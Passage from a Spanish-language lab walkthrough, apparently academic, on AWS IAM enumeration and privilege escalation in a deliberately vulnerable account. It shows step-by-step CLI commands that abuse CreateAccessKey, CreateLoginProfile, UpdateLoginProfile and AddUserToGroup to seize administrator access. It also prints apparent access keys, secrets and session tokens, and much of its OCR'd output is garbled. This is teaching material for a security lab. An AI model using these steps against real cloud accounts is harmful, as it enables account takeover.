"GroupName": "privescll-PutGroupPolicy—-group",

"GroupId": "AGPAZPSPDGUX3IIVCTYWHU",

"Arn": "arn:aws:iam::651927172911:group/privescll-PutGroupPolicy—group”,
"CreateDate": "2822-85-86T21:35:29+868:80"

Fuente: Autoria Propia
Este comando devuelve todas las politicas que se adjuntan al grupo de IAM especificado:
> aws iam list-attached-group-policies --group-name Grupo

Figura 31 Listar todas las politicas que se adjuntan al grupo de IAM especificado

PS C:\Users\Gerh> aws iam list-attached-group-policies spartan-Developers

5
L

"AttachedPolicies”: [

"PolicyName": "AmazonEC2FullAccess",
"policyArn": "arn:aws:iam::aws:policy/AmazonEC2FullAccess"

"PolicyName": "AmazonS3FullAccess",

"PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess”

"PolicyName": "AWSLambda_FullAccess",
"policyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"

Fuente: Autoria Propia



Este comando devuelve los nombres de las politicas en linea incrustadas en el Grupo de
IAM especificado:
> aws iam list-group-policies --group-name Grupo

Figura 32 Listar los nombres de las politicas en linea incrustadas en el Grupo de IAM

Ps C:\Users\Gerh> aws iam list-group-policies spartan-Developers

{

"policyNames”: []

Fuente: Autoria Propia
Este comando devuelve todos los roles de IAM:
> aws iam list-roles

Figura 33 Listar todos los roles de IAM

PS C:\Users\Gerh> aws iam list-roles
{
"Roles": [
i
"path": "/aws-service-role/guardduty.amazonaws.com/"
"RoleName": "AWSServiceRoleForAmazonGuardDuty",
"RoleId": "AROAZPSPDGUXUHCZ5BTMU",
YArn": “"arn:aws:iam::651927172911:role/aws-service-role/guardduty.amazonaws.con/AWSServiceRoleForAmazonGuardDuty",
"CreateDate": "2021-12-31T©3:15:27+00:00",
"AssumeRolePolicyDocument”: §
"Version": "2812-10-17",
"Statement": [
{
"Effect": "Allow"
"principal”: {
"Service": "guardduty.amazonaws.com"
By

"Action": "sts:AssumeRole"

1

3,
"Description": "A service-linked role required for Amazon GuardDuty to access your resources. "
"MaxSessionDuration": 3668

Fuente: Autoria Propia
Este comando devuelve todas las politicas gestionadas que se adjuntan al rol IAM
especificado:

> aws iam list-attached-role-policies --role-name Rol



Figura 34 Listar todas las politicas gestionadas que se adjuntan al rol IAM

PS C:\Users\Gerh> aws iam list-attached-role-policies privesc5-CreateLoginProfile-role

{

"AttachedPolicies": [

i

"policyName": "privesc5-CreateLoginProfile",

"policyArn": "arn:aws:iam::651927172911:policy/privesc5-CreatelLoginProfile”

Fuente: Autoria Propia

Este comando devuelve los nombres de las politicas en linea incrustadas en el rol IAM
especificado:

> aws iam list-role-policies --role-name Rol

Figura 35 Listar los nombres de las politicas en linea incrustadas en el rol

PS C:\Users\Gerh> aws iam list-role-policies privesc5-CreateLoginProfile-role

i
L

"policyNames": []

}

Fuente: Autoria Propia
Este comando devuelve informacion sobre el rol especificado:

> aws iam get-role --role-name Rol



Figura 36 Listar informacion sobre el rol especificado

PS C:\Users\Gerh> aws iam get-role eksClusterRole
T
{

"Role": {
“Path": "/,
"RoleName": "eksClusterRole
“RoleId" 14X
“Arn": "arn:
“CreateDate":
"AssumeRolePol :
"WVersion": "2812-16-17",
"Statement": [

T
L

[
“

"Effect”: "Allow",
“Principa
“"Service": "eks.amazonaws.com"
}'r
“Action": “sts:AssumeRole"

Jl":

"Description": "Allows access to other AWS service
“"MaxSessionDuration”:

"RolelLastUsed": {

“LastUsedDate": "2022-05-08T04:26-12+80-060",
“"Region": "us—east-2"

Fuente: Autoria Propia
Este comando devuelve todas las politicas de IAM:

> aws iam list-policies



Figura 37 Listar todas las politicas de IAM

PS C:\Users\Gerh> aws iam list-policies
i
"policies": [
i

"PolicyName": "deny-all",
"PolicyId": "ANPAZPSPDGUXTNHUZABPH",
"Arn": "arn:aws:iam::651927172911:policy/deny-all”,
"path": ufu'
"DefaultVersionId": "wl",
"AttachmentCount": 2,
"PermissionsBoundaryUsageCount": @,
"IsAttachable": true,
"CreateDate": "2022-85-86T21:35:08+80:00",

"UpdateDate": "2822-85-86T21:35:08+00:00"

"PolicyName": "fnl-passrole-star",

"PolicyId": "ANPAZPSPDGUXQMUKRAHCH",

"Arn": "arn:aws:iam::651927172911:policy/fnl-passrole-star",
npath": ufu‘

"DefaultVersionId": "wl",

"AttachmentCount": 2,

"PermissionsBoundaryUsageCount": @,

"IsAttachable": true,

"CreateDate": "2822-85-86T21:35:17+00:00",

"UpdateDate": "2822-85-086T21:35:17+00:00"

Fuente: Autoria Propia
Este comando devuelve informacion sobre la politica especificada:
> aws iam get-policy --policy-arn arn:aws:iam::123456789:policy/ejemplo

Figura 38 Listar informacion sobre la politica especificada

PS C:\Users\Gerh> aws iam get-policy arn:aws:iam::651927172911:policy/deny-all

i
L

"Policy": {

"policyName": "deny-all",

"PolicyId": "ANPAZPSPDGUXTNHUZABPH",

"Arn": "arn:aws:iam::651927172911:policy/deny-all”,
npath": II/II’

"DefaultVersionId": "wvi",

"AttachmentCount": 2,

"permissionsBoundaryUsageCount": 8,
"IsAttachable": true,

"Description": "Denies everything",
"CreateDate": "2022-05-066T21:35:88+00:00",
"UpdateDate": "2022-85-06T21:35:88+00:00",
"Tags": []

Fuente: Autoria Propia



Este comando devuelve informacion sobre las versiones de la politica especificada:
> aws iam list-policy-versions --policy-arn arn:aws:iam::123456789:policy/ejemplo

Figura 39 Listar informacion sobre las versiones de la politica especificada

PS C:\Users\Gerh> aws iam list-policy-versions arn:aws:iam: :651927172911:policy/deny-all

i
3

"Wersions": [

I
L

"WersionId": "wl",

"IsDefaultVersion": true,
"CreateDate": "2022-85-86T21:35:08+08:00"

Fuente: Autoria Propia

Este comando devuelve informacion sobre la politica con la version especificada:

> aws iam get-policy-version --policy-arn arn:aws:iam::123456789:policy/ejemplo --
version-id v1

Figura 40 Listar informacion sobre la politica con la version especificada

arn:aws:iam::651927172911:policy/ECR-FullAccess

"VersionId"
"IsDefaul
"CreateDate": "2022-05-09T16:50:26+00-60"

Fuente: Autoria Propia
Ejercicios de escalacion de Privilegios en Usuarios

La escalacion de privilegios se refiere a un proceso mediante el cual un usuario o entidad
intenta obtener un nivel de acceso superior al que originalmente se le habia otorgado. Esto puede

ocurrir de varias maneras:



e Explotacion de vulnerabilidades: Si existe una vulnerabilidad en la
configuracion de IAM o en una politica de permisos especifica, un atacante podria
aprovecharla para obtener privilegios adicionales.

e Uso indebido de credenciales: Un usuario con privilegios limitados podria
intentar obtener acceso a credenciales de otro usuario con privilegios mas altos
para elevar sus propios privilegios.

e Ingenieria social: Un atacante podria intentar engafar a un usuario con
privilegios mas altos para que le otorgue acceso adicional mediante la ingenieria
social, como el phishing o la suplantacién de identidad.

e Uso de técnicas de hacking: Esto podria incluir la explotacion de
vulnerabilidades en aplicaciones o servicios que se ejecutan en instancias de AWS
para obtener acceso a recursos adicionales.

A continuacion, se detallan una serie de escenarios que describen entornos con
configuraciones vulnerables, seguidos de una explicacion detallada de las actividades que
podrian provocar escaladas de privilegios.

Permiso iam: CreateAccessKey

Un usuario que posee el permiso "iam:CreateAccessKey”, tiene la capacidad de generar
un conjunto de credenciales de acceso, compuesto por una identificacion de clave de acceso y
una clave de acceso secreta, que estara asociado a otro usuario dentro del entorno AWS.

Explicacion Practica

Primero, se debe localizar el usuario privesc4-CreateAccessKey-user



Figura 41 Usuario: privesc4-CreateAccessKey-user

Usuarios > [privesc4—CreateAccessKey—user ]

Resumen
ARN de usuario arn:aws:iam:651927172911:user/privesc4-CreateAccessKey-user ()
Ruta !
Hora de creacion 2022-05-10 23:05 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

~ Politicas de permisos (1 politica aplicada)

Anadir permisos

Nombre de la politica +
Asociada directamente

L3 privesc4-CreateAccesskKey

Fuente: Autoria Propia
Este usuario tiene la siguiente politica:

Figura 42 Politica del usuario privesc4-CreateAccessKey-user

IARN de politica arn-aws.iam: 651927172911 policy/privesc4-CreateAccessKey (7]

Descripcion Allows privesc via iam:CreateAccessKey

Permisos Utilizacion de la politica Etiquetas Versiones de |a politica Access Advisor
Resumen de la politica {}JSON | Editar la politica
{
"Statement”: [
{
"Action™: ley",
"Effect™:
"Resource": "*"
}
1,
"Version": "2812-18-17"
}

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:



Figura 43 Rol del usuario privesc4-CreateAccessKey-user

A Roles

privesc4-CreateAccessKey-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) 1 arn:aws:iam:651927172911:role/privescd-C
reateAccessKey-role

Ultima actividad Duracién maxima de Ia sesidn

& hace 2 horas 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privesc4-CreateAccessKey-user

Figura 44 Politica del usuario privesc4-CreateAccessKey-user

\Users\Gerh> aws iam list-attached-user-policies privesc4-CreateAccessKey—user

"AttachedPolicies": [
I
L
"PolicyName": "privesc4-CreateAccessKey",

“PolicyArn": "arn:aws:iam::651927172911:policy/privesc4-CreateAccessKey"

Fuente: Autoria Propia

Obteniendo informacion relevante utilizando el ARN de la politica del usuario en
mencion:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc4-

CreateAccessKey --version-id v1



Figura 45 ARN del usuario privesc4-CreateAccessKey-user

927172911:polic ivesc4-CreateAccessKey

"Resource
1
]
1

Version": "2012-16-17"

05-11T04:085:02+00:00"

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario:

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc4-
CreateAccessKey-role --role-session-name privesc4

Figura 46 Credenciales con STS del usuario privesc4-CreateAccessKey-user

erh> aws sts assume-role arn-aws:iam::651927172911: role/privesc4—CreateAccessKey
privesc-test

G4XYWB2UEGR" ,

_ bAHrQwtYoSAeF]id]j fsXDIwMmlOhckp
AIEASRI7CHCBT 2 ] D JqmOIIMhABG ZISMTEiDO4A fir2AfIk
wH9e6t606IeF]L My i

JRzJZre8HD7VEQ

1CY7p+]17H+v

AaLtrtEFUu

kduuBkoilRIQpxzRWC/BeUBHECYI8IvzCIIgyYd
RE ration": "2022-85-11T18

1
I
"y

AssumedRolelser"
"AssumedR :
"Arn": "a 10519 911:a yle/privesc4-CreateAccessKey-role/privesc-test"

Fuente: Autoria Propia
A partir de este momento, se esta trabajando con el usuario privesc4-CreateAccessKey-

user.



Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se debe realizar la autenticacion con el comando aws configure y validar
con el comando aws sts get-caller-identity.

> aws configure --profile privesc4

Figura 47 Ejecucion del comando aws configure

PS C:\Users\Gerh> aws configure --profile privescd
AWS Access Key ID [None]: ASIAZPSPDGAX674CWALA
AWS Secret Access Key [None]: z14/mKr@h+TL6ZPAchfhHIQwhXUId92KIMod79D3

Default region name [None]: us-east-1
Default output format [None]: json

Fuente: Autoria Propia
El token se especificara dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc4

Figura 48 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh> aws sts get-caller-identity privesc4

"UserId": "AROAZPSPDG4X5C3DLCMCS:botocore-session-16522

“Account": "6

"Arn": "arn-aws:sts::651927172911:assumed-role/privesc4-CreateAccessKey-role/botocore-session

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc4-

CreateAccessKey-user --profile privesc4



Figura 49 Error al intentar agregar al grupo de administradores

PS C:\Users\Gerh> aws iam add-user-to-group --group-name Group-Root-Spartan
--user-name privesc4-CreateAccessKey-user --profile privescd

An error occurred (AccessDenied) when calling the AddUserToGroup operation:

User: arn:aws:sts::651927172911:assumed-role/privescd4-CreateAccessKey-role/
botocore-session-1652462756 is not authorized to perform: iam:AddUserToGroup
on resource: group Group-Root-Spartan because no identity-based policy allows
the iam:AddUserToGroup action

Fuente: Autoria Propia

En este escenario, simplemente se tiene que crear una clave de acceso para otro usuario
que sea administrador y luego usarla:

> aws lam create-access-key --user-name Spartan-Administrador --profile privesc4

Figura 50 Creacion de una clave de acceso para otro usuario que sea administrador

artan-Administrador privescd

"AccessK
“Status":
JKumIS4z1t9

Fuente: Autoria Propia

Ahora simplemente se tiene que autenticar con las credenciales de Super-Administrador y
posteriormente se va a agregar el usuario al grupo de Administradores:

> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc4-
CreateAccessKey-user --profile hack-admin

Figura 51 Autenticacion con el usuario Super-Administrador

Users\Gerh> aws configure hack-admin
cess Key ID [Nonel: AKTIAZPSPDG4XRF43C5NQ
hESDN§4aB63KumIS4zJt985/11E

ult output format [Nenel: json
C-\Users\Gerh> aws iam add-user—to-group Group-Root-Spartan privesc4-CreateAccessKey-user hack-admin




Fuente: Autoria Propia
Si se revisa ahora se puede apreciar que el usuario inicial tiene privilegios de
administrador.

Figura 52 Verificacion de los privilegios del usuario

Usuarios > Ipri\:escd.—CreateAccessKey—user |

Resumen

ARN de usuario arn:aws:iam::651927172911:user/privesc4-CreateAccessKey-user (7]
Ruta

Hora de creacion 2022-05-10 23:05 CDT

Permisos Grupos (1) Etiquetas Credenciales de seguridad Access Advisor

Afadir un usuario a los grupos
Nombre de grupo Permisos asociados
I Group-Root-Spartan AdministratorAccess

Fuente: Autoria Propia

Permiso iam: CreateLoginProfile

Un usuario con el permiso "iam:CreateLoginProfile" puede generar una contraseia que le

permitird iniciar sesion en la consola de AWS. Esto se aplica a cualquier usuario que ain no

tenga un perfil de inicio de sesion configurado. En otras palabras, el usuario puede habilitar el

acceso a la consola de AWS para usuarios que previamente no tenian esta capacidad.
Explicacion practica

Primero, se debe localizar el usuario privesc5-CreateLoginProfile-user



Figura 53 Usuario privesc5-CreateLoginProfile-user

Usuarios > lprivesc5-CreateLoginF’roﬁle-user l

Resumen

ARN de usuario l arn:aws:iam::651927172911:user/privescs-CreatelLoginProfile-user £} I

Ruta /

Hora de creacién 2022-05-10 23:04 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

« Politicas de permisos (1 politica aplicada)

Afadir permisos

Nombre de la politica « Tipo de politica ~

Asociada directamente

» privesc5-CreateLoginProfile Politica administrada

Fuente: Autoria Propia
El usuario tiene la siguiente politica:

Figura 54 Politica del usuario privesc5-CreateLoginProfile-user

ARN de politica [ arn:aws:iam::65192i’1?2911:policyfprivesc&t:reateLoginProﬂleIt‘a

Descripcidn Allows privesc via iam:CreateLoginProfile

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {1JSON ‘ Editar la politica
{
"Statement™: [
{
"Action": "iam:CreateloginProfile",
"Effect™: "Allow",
"Resource": "*"
}
1
"Wersion": "2812-18-17"
}

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:



Figura 55 Rol del usuario privesc5-CreateLoginProfile-user

Al Roles

privescb-CreateLoginProfile-role

Resumen

Fecha de creacion ARN

IMay 10, 2022, 23:05 (UTC-05:00) £ am:aws:iam: 1651927172911 role/privescs-C
reateLoginProfile-role

Ultima actividad Duracién maxima de la sesién

Ninguno 1 hora

Fuente: Autoria Propia

Otra manera de validar lo anterior, es por medio del comando

> aws iam list-attached-user-policies --user-name privesc5-CreateLoginProfile-user
Figura 56 Politica del usuario privesc5-CreateLoginProfile-user

privescs5—CreateLoginProfile—user

. "privesc5-CreateLoginProfile”,
> "arnzaws:iam::651927172911:policy/privesc5-CreateLoginProfile"

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc5-

CreateLoginProfile --version-id v1



Figura 57 ARN del usuario privesc5-CreatelLoginProfile-user

arn:aws:lam::651927172911:policy/privesc5-CreateLoginProfile

"Statement":

Action":

"Resour

"Version": "2012-16-17"

true,
05-11T04:04:50+

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc5-
CreateLoginProfile-role --role-session-name privesc5

Figura 58 Credenciales con STS del usuario privesc5-CreateLoginProfile-user

sers\Gerh> aws sts assume-role arn:aws:iam::651927172911:role/privesci—-CreateLoginProfile-role
privesch

AN

Fuente: Autoria Propia
A partir de este momento, se esta trabajando con el usuario privesc5-CreateLoginProfile-

user.



Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privescS

Figura 59 Ejecucion del comando aws configure

Ps C:\Users\Gerh> aws configure privesch
AWS Access Key ID [None]: ASIAZPSPDG4X6WI7L7MC

AWS Secret Access Key [None]: RiaCV7WZ1gVFprLCWkkTwvRdh6PEYtLSQPXRS+uP
Default region name [Nonel: us-east-1
Default output format [Nonel: json

Fuente: Autoria Propia
El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc5

Figura 60 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh> aws sts get-caller—identity privesch

"UserId": "AROAZPSPDG4XUQLLG6BTOS:privescs”,

"Account": "65192717
"Arn": “arn-aws:sts:: 927172911 assumed-role/privesc5-CreateloginProfile-role/privescs"

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc5-

CreateLoginProfile-user -—profile privesc5



Figura 61 Error al intentar agregar al grupo de administradores

PS C:\Users\Gerh> aws iam add-user-to-group --group-name Group-Root-Spartan
--user-name privesc5-CreateloginProfile-user --profile privesch

An error occurred (AccessDenied) when calling the AddUserToGroup operation:

User: arn:aws:sts::651927172911:assumed-role/privesc5-CreateloginProfile-role/
privesch is not authorized to perform: iam:AddUserToGroup on resource: group
Group-Root-Spartan because no identity-based policy allows the
iam:AddUserToGroup action

Fuente: Autoria Propia

En este escenario, simplemente se tiene que establecer una contrasefia de inicio de sesion
de la consola para algin usuario administrador o cualquier otro, teniendo en cuenta que dicho
usuario no debe tener una contraseiia de inicio de sesidon de consola configurada actualmente:

> aws iam create-login-profile --user-name Spartan-Administrador --password
Password123! --no-password-reset-required --profile privesc5

Figura 62 Creacion de una clave de acceso para otro usuario que sea administrador

Spartan-Administrador Passwordl23!
privesch

"LoginProfile": |
"UserName" - Administrador",

“CreateDate": " 15:52+080:060",
"PasswordResetRequired”: false

Fuente: Autoria Propia
Ahora simplemente se debe que utilizar la contrasefia de Super-Administrador que se

acaba de configurar: Password123!



Figura 63 Autenticacion con el usuario Super-Administrador

Iniciar sesion como usuario de 1AM

ID de cuenta (12 digitos) o alias de cuenta

651927172911 Amazon Lightsail

Nombre de usuario:

Lightsail es la manera mas facil
Spartan-Administrador de empezar a usar AWS

Contrasefia:
Mds informacion »
Password123!

[J Recordar esta cuenta

Iniciar sesion

Iniciar sesion con el email del usuario raiz

4 Olvidd la contrasefia?

Términos de uso Politica de privaci @ 1906-2022, Amazon Web Services, Inc. 0 sus empreszs afliadas.

Fuente: Autoria Propia
Luego de la autenticacion con las credenciales, se observa que tiene acceso al panel
administrativo.

Figura 64 Verificacion de los privilegios del usuario
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Fuente: Autoria Propia
Permiso iam: UpdateLoginProfile

Un usuario que posee el permiso "iam:UpdateLoginProfile" tiene la capacidad de
modificar la contrasefia que se utiliza para iniciar sesion en la consola de AWS. Esto se aplica a
cualquier usuario que ya cuente con un perfil de inicio de sesion previamente configurado. En
resumen, el usuario puede cambiar las contrasefias de los usuarios que ya tienen acceso a la
consola de AWS.

Explicacion practica

Primero, se debe localizar el usuario privesc6-UpdateLoginProfile-user

Figura 65 Usuario privesc6-UpdateLoginProfile-user

Usuarios > I privescé-UpdateLoginProfile-user

Resumen
ARN de usuario arn:aws:iam::651927172911:user/privesc6-UpdateLoginProfile-user £
Ruta !
Hora de creacion 2022-05-10 23:04 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

~ Paoliticas de permisos (1 politica aplicada)

Anadir permisos

Nombre de la politica «

Asociada directamente

» privesc-UpdateLoginProfile

Fuente: Autoria Propia

Este usuario tiene la siguiente politica:



Figura 66 Politica del usuario privesc6-UpdateLoginProfile-user

IARN de politica  armaws:iam::651927172911:policy/privescé-UpdateLoginProfile () I

Descripcion  Allows privesc via iam:UpdateLoginProfile

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {} JSON | Editar la politica
{
"Statement": [
{
"Action™: ,
"Effect™: .
"Resource™:
}
]J‘
"Version":

Fuente: Autoria Propia
Este usuario tiene el siguiente rol:

Figura 67 Rol del usuario privesc6-UpdatelLoginProfile-user

1AM Roles privesc6-UpdateLoginProfi

privesc6-UpdateLoginProfile-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) €4 am:aws:iam: 651927172911 role/privescs-UpdateLoginProfile-role
Ultima actividad Duracion maxima de la sesion

Ninguno 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:

> aws iam list-attached-user-policies --user-name privesc6-UpdateLoginProfile-user



Figura 68 Politica del usuario privesc6-UpdateLoginProfile-user

\Users\Gerh>= aws 1am list-atta user—policies privescb-UpdateLoginProfile-user

"AttachedPolicies”: [

ivescb-UpdateLoginProfile”,
iam::651927172911:policy/privesc6—UpdateLoginProfile"

Fuente: Autoria Propia

Obteniendo informacion relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc6-
UpdateLoginProfile --version-id v1

Figura 69 ARN del usuario privesc6-UpdateLoginProfile-user

erh= aws ilam get-policy-version arn-aws:iam::651927172911:policy/privesc6-Updat
vl

Version"
"Document": {
"Statement": [
r
“"Action": "iam:UpdateLoginProfile",
"Effect": "Allow",
“Resource": "*"

1

]l’

iy

Version": “2812-18-17"

1
¥
"VersionId": "wi1",
"IsDefaultVers
"CreateDate":

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc6-

UpdateLoginProfile-role --role-session-name privesc6



Figura 70 Credenciales con STS del usuario privesc6-UpdateLoginProfile-user

\Users\Gerh= aws s5t5 assume-role arn-aws:-iam: 651927172911 :role/privesco-UpdateloginProfi
le privesch

"Credentials"”:
"AccessK
"SecretA
"Session

cMG1F]cjduupQT3IALEA]

zmlfNu/M KIBMTKA, aNICX] g
3 3 %x71dbe82XbLpPfZ

LEYYD \ nL7C ysJLXAT
wh4Ko727MNcO]C3tMM] /+pMGOpBBABMoSSs1]Po7pbffro4kaT] rHLUGWUG

DDwMgw9hhDwMglyFE DZhgmlj fYWBrREKIh81UEZxNbqUNVTH1SIbgDtHx

spuvtsad7aKzZGOp5w ™ '

“"Expiration":
}'J

"y r

AssumedRolelser”: {

AssumedRoleId": "AROAZ BEQBKF5I1:privesc6",

Arn": aws:sts:: ! 11:assumed-role/privescé—-UpdateLoginProfile-role/privesc6"

Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc6-UpdateLoginProfile-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc6

Figura 71 Ejecucion del comando aws configure

Gerh> aws configure privesch
Access Key ID [Nonel: ASIAZPSPDGA

AWS Secret Access Key [Nonel: WoSWKXMeAZdEBBGtumqzc5qHyBa39P5COM]jysiG3
Default region name [None]: us-east-1
Default output format [Nonel: json

Fuente: Autoria Propia



El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc6

Figura 72 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh> aws sts get-caller—identity privescé

"UserId”: "ARO 5 ‘BEQBKF5I:privesct",
"Account": "65 11",

“"Arn": "arn:aws:sts::651927172911:assumed-role/privesce—UpdateLoginProfile-role/privesce"

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc6-
UpdateLoginProfile-user --profile privesc6

Figura 73 Error al intentar agregar al grupo de administradores

Group-Root-Spartan privesc6-Updatelo
privesch

An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:: 26519271729
11:assumed-role/privesch-UpdateLoginProfile-role/privescé is not authorized to perform: iam:AddUserToGrou
p resource: group Group-Root-Spartan because no identity-based policy allows the iam:AddUserToGroup ac
tion

Fuente: Autoria Propia

En este escenario, simplemente se tiene que establecer una contrasefia de inicio de sesion
de la consola para alglin usuario administrador o cualquier otro:

> aws iam update-login-profile --user-name Spartan-Administrador --password
Password321! --no-password-reset-required --profile privesc6

Figura 74 Creacion de una clave de acceso para otro usuario que sea administrador

tan-Administrador Password321!

privesch

Fuente: Autoria Propia



Ahora simplemente se tiene que utilizar la contrasefia de Super-Administrador que
acabamos de configurar: Password321!

Figura 75 Autenticacion con el usuario Super-Administrador

aws

Iniciar sesion como usuario de IAM

ID de cuenta (12 digitos) o alias de cuenta

651927172911 Amazon Lightsail

Nombre de usuario:

Lightsail es la manera mas facil
Spartan-Administrador de empezar a usar AWS

Mas informacion »

Contrasefia:

Password321!

) Recordar esta cuenta

Iniciar sesion

Iniciar sesién con el email del usuario raiz

¢ Olvidd la contrasefia?

Fuente: Autoria Propia
Luego de la autenticacion con las credenciales, se tiene acceso al panel administrativo.

Figura 76 Verificacion de los privilegios del usuario
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Fuente: Autoria Propia
Permiso iam: AddUserToGroup

Un usuario con el permiso “iam:AddUserToGroup” puede utilizarlo para anadirse a un
grupo IAM existente en la cuenta de AWS.

Explicacion practica

Primero, se debe localizar el usuario privesc13-AddUserToGroup-user

Figura 77 Usuario privescl3-AddUserToGroup-user

Usuarios > lprivesm3-AddUserToGroup-user I

Resumen
ARN de usuario [ arn:aws:iam::651927172911:user/privesc1 3-AddUserToGroup-user (F]
Ruta
Hora de creacidn 2022-05-10 23:05 CDT
Permisos Grupos Etiguetas Credenciales de seguridad Access Advisor

~ Politicas de permisos (1 politica aplicada)

Anadir permisos

Nombre de la politica =

Asociada directamente

» privesc13-AddUserToGroup

Fuente: Autoria Propia

Este usuario tiene la siguiente politica:



Figura 78 Politica del usuario privescl3-AddUserToGroup-user

ARN de politica | arm:aws:iam::651927172911 policy/privesc13-AddUserToGroup €

Descripeion Allows privesc via iam:AddUserToGroup
Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {3} JSON | Editar la politica
{
"Statement": [
{
"Action":
"Effect™: N
"Resource":
}
]J
"Version":
}

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:

Figura 79 Rol del usuario privescl3-AddUserToGroup-use

1AM Roles privesci3-AddUserToGroup-role

privesc13-AddUserToGroup-role

Resumen

Fecha de creacion
May 10, 2022, 23:05 (UTC-05:00)

Ultima actividad
Ninguno

Fuente: Autoria Propia

ARN
1 amn:aws:iam::651927172911:role/privesct 3-AddUserToGroup-role

Duracién maxima de la sesion
1 hora

Otra manera de validar lo anterior, es por medio del comando:

Listando las politicas del usuario que sera verificado:

> aws iam list-attached-user-policies --user-name privesc13-AddUserToGroup-user




Figura 80 Politica del usuario privescl3-AddUserToGroup-user

privescl3-AddUserToGroup—-user

- "privescl3-AddUserToGroup",

> "arnZaws:lam::651927172911:policy/privescl3-AddUserToGroup”

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc13-
AddUserToGroup --version-id vl
Figura 81 ARN del usuario privescl3-AddUserToGroup-user

PS C:\Users\Gerh= aws ilam get-policy-version arn:aws:iam::651927172911:policy/privescl3-Addu
serToGroup vl
{
"PolicyVersion": {
"Document": {
"Statement": [
{
“Action": "iam:AddUserToGroup",
"Effect": "Allow",
"Resource": "*"
}
1,
“Version": "2812-16-17"

} ]

"VersionId": "v1",

"IsDefaultVersion": true,

“"CreateDate": "2022-05-11T04:04:43+00-08"

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc13-

AddUserToGroup-role --role-session-name privesc13



Figura 82 Credenciales con STS del usuario privescl3-AddUserToGroup-user

rh= aws sts assume-role arn:aws:lam::651927172911:role/privescl3-AddUserToGroup-
privescl3

hb
0

u

Fuente: Autoria Propia

A partir de este momento, se estd trabajando con el usuario privesc13-AddUserToGroup-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc13

Figura 83 Ejecucion del comando aws configure

Gerh> aws configure privescl3
ey ID [Nonel: ASIAZPSPDG4X30TLSNXE

Secret Access Key [Nonel: Pfwx04+VelUpBkB11kF67x1Fa3nIGCulhCquvpmgc
Default region name [Nonel: us—east-1
Default output format [None]l: json

Fuente: Autoria Propia



El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc13
Figura 84 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh> aws sts get—-caller-identity privescl3

"UserId": “AROAZPSPDGAXX7IHIWXOB:privescl3”,
Account™: "651927172911",

ws.sts::651927172911:assumed—-role/privescl3-AddUserToGroup-role/privescl3”

Fuente: Autoria Propia

Si se intenta agregar al grupo de administradores, se va a obtener una salida vacia que
indica que la adiccion del usuario al grupo fue exitosa:

